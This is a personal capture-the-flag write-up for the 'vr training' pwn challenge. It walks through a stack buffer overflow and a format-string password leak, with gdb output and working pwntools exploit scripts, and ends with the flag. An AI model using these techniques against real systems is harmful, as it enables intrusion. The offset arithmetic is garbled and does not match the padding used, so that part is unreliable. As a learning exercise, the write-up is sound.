Swiss Hacking Challenge 2023 - vr training
Information
Challenge category: pwn
Challenge Description
https://youtu.be/I5AunfmI8bs?t=3843 I was part of the Army’s Force XXI Trials— Force XXI? Thats about tactical IT deployment right? Any field experience? No – not really. So this is your first. I’ve had extensive training – the kind that’s indistinguishable from the real thing. Like what? Sneaking Mission 60, Weapons 80, Advanced – VR, huh.
Hint: Around %30$p
Files
We are given a vr_training.zip
file
The goal of this challenge is to complete two tasks:
- Exploit a stack buffer overflow to overwrite a variable
- Exploit a string format attack to read a password
Once both tasks are completed, the flag is printed.
Exploitation
Buffer overflow
The source code tells the following:
int value = 1;
char buffer[64];
printf("Your input: ");
fgets(buffer, 100, stdin);
if(value == 0xdeadbeef) {
fail();
}
We can see that the buffer is 64 bytes long, but fgets
reads 100 bytes. This means we can overflow the buffer and overwrite the value variable.
However, we also need to find the offset to the value variable. We can do this by setting a breakpoint at the if
statement and inspecting the stack.
gdb ./vr_training
pwndbg> b *0x0000000000401359
Breakpoint 1 at 0x401359
pwndbg> r
Your input: AABBCCDDEEFFGG---
---
Breakpoint 1, 0x0000000000401359 in main ()
---
pwndbg> x/1x $rbp-0x4
0x7fffffffdaac: 0x76767575
0x76767575
is vv
in ASCII. v
is the 17th letter in the alphabet. That means our offset is $226 + 222 = 86$.
We can now build our exploit:
#!/usr/bin/python3
# buffer is 64 bytes
padding = b'A' * 64
offset_padding = b'A' * 28
# hex 0xdeadbeef
deadbeef = b'\xef\xbe\xad\xde'
# combine this
payload = padding + offset_padding + deadbeef
# write to file
with open('payload', 'wb') as f:
f.write(payload)
./vr < payload
[---] We start with Buffer Overflow 10
Your input: [+] Good!
[---] Next is Format String 10
Format string
Note: I’ll be using pwntools from now on as we have multiple inputs to send.
This is the buffer overflow part of the exploit script in pwntools:
#!/usr/bin/env python3
from pwn import *
# spawn a process
# ask user if remote
print("Remote or local? (r/[l]): ", end='')
type = input()
if "r" in type:
p = remote("chall.m0unt41n.ch", 31337)
else:
p = process('./vr')
# padding
padding = b'A' * (64+28)
# 0xdeadbeef
payload = padding + b'\xef\xbe\xad\xde'
# receive lines until line containing "Your input: "
p.recvuntil(b"Your input: ")
# send payload
p.sendline(payload)
The C source code for the format string part is:
char format[64];
printf("Your input: ");
fgets(format, 64, stdin);
printf(format);
We can see that the input is printed directly with printf
. This means we can use a format string attack to read the password variable.
The hint mentions %30$p
. This is a format string that prints the 30th argument on the stack. We can use this to read the password variable.
def pwnCode():
global p
string = b"%30$llx %31$llx %32$llx %33$llx %34$llx %35$llx %36$llx %37$llx"
p.sendline(string)
# print output
a = p.recvuntil(b"Your access code:").decode('ascii')
values = a.split(" ")
total = ""
# drop first 2 values
values = values[2:]
for i in range(3):
value = values[i]
# zfill
value = value.zfill(16)
# reverse bytes (thx copilot for this ugly line)
value = value[14:16] + value[12:14] + value[10:12] + value[8:10] + value[6:8] + value[4:6] + value[2:4] + value[0:2]
# convert to text
value = bytes.fromhex(value).decode('ascii')
total += value
print(total)
This code returns the password: SECRET_ACCESS_CODE_1337
We can now combine both parts of the exploit:
#!/usr/bin/env python3
from pwn import *
# spawn a process
# ask user if remote
print("Remote or local? (r/[l]): ", end='')
type = input()
if "r" in type:
p = remote("chall.m0unt41n.ch", 1337)
else:
p = process('./vr')
# padding
padding = b'A' * (64+28)
# 0xdeadbeef
payload = padding + b'\xef\xbe\xad\xde'
# receive lines until line containing "Your input: "
p.recvuntil(b"Your input: ")
# send payload
p.sendline(payload)
# print output
print(p.recvline().decode('utf-8'))
print(p.recvline().decode('utf-8'))
p.sendline()
p.sendline(b"SECRET_ACCESS_CODE_1337")
p.interactive()
Flag
The flag is:
shc2023{y0u_c0mpl3t3d_VR_tr41n1ng_s0ld13r}
Conclusion
First time doing a pwn challenge. I learned a lot about buffer overflows and string formatting. Praise LiveOverflow for his binary exploitation videos.